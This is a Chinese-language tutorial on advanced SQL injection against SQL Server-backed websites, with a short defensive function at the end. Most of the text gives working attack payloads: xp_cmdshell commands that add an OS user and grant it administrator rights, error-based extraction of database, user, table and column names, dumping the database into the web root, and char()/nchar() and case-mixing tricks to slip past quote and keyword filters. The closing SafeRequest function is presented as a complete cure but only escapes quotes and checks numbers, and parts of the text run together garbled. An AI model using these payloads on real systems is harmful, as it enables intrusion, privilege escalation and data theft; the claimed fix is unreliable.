掌握入門與進階技巧後,可攻破大多數網站。但面對表名/欄位難以猜測、特殊字元被過濾等情況,如何突破?本篇揭示核心進階手法。
SQL Server 功能強大且與作業系統緊密整合,為注入者提供跳板。關鍵實例:
?id=1;exec master..xp_cmdshell "net user name password /add"--sa 連線,可新增系統帳號並加入管理員群組:?id=1;exec master..xp_cmdshell "net localgroup name administrators /add"--sa 權限)。?id=1; and db_name()>0 取得資料庫名,and user>0 取得連線使用者。?id=1;backup database 資料庫名 to disk='c:\inetpub\wwwroot\1.db';--\\IP\Share\1.db,成功率較低。?id=1; and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0 暴露第一個使用者資料表名。object_id('表名') 取得內部 ID,再用 col_name(表ID, 序號) 逐一枚舉欄位名。這六點凝聚半年研究心得,深度理解 SQL Server 內部機制直接決定注入成敗,亦能反哺開發技能——安全與開發本相輔相成。
常見過濾單引號(')的防禦,對熟手無效。關鍵在於利用函數替換字元:
where xtype='U' → where xtype=char(85)where name='用戶' → where name=nchar(29992)+nchar(25143)進階篇所有 Payload 均經優化不含單引號;系統表利用範例亦示範改寫技巧。
selecT、upDate 等混合大小寫。name 屬性一致,登入頁是線索寶庫。+ 在地址列解析為空格,%2B 為 + 號,%25 為 % 號,請參考 URLEncode 規格。SQL 注入漏洞源於開發者疏忽或過濾不全。提供通用 SafeRequest 函數替代 Request,徹底封殺注入:
Function SafeRequest(ParaName, ParaType)
' ParaName: 參數名稱(字串)
' ParaType: 參數類型(1=數字,0=字串)
Dim ParaValue
ParaValue = Request(ParaName)
If ParaType = 1 Then
If Not IsNumeric(ParaValue) Then
Response.Write "參數 " & ParaName & " 必須為數字型!"
Response.End
End If
Else
ParaValue = Replace(ParaValue, "'", "''") ' 單引號雙寫轉義
End If
SafeRequest = ParaValue
End Function
數字型參數強制驗證 IsNumeric,字串型將單引號轉義為兩個單引號(SQL 標準轉義)。在所有接收參數處改用此函數,可從根源杜絕注入風險。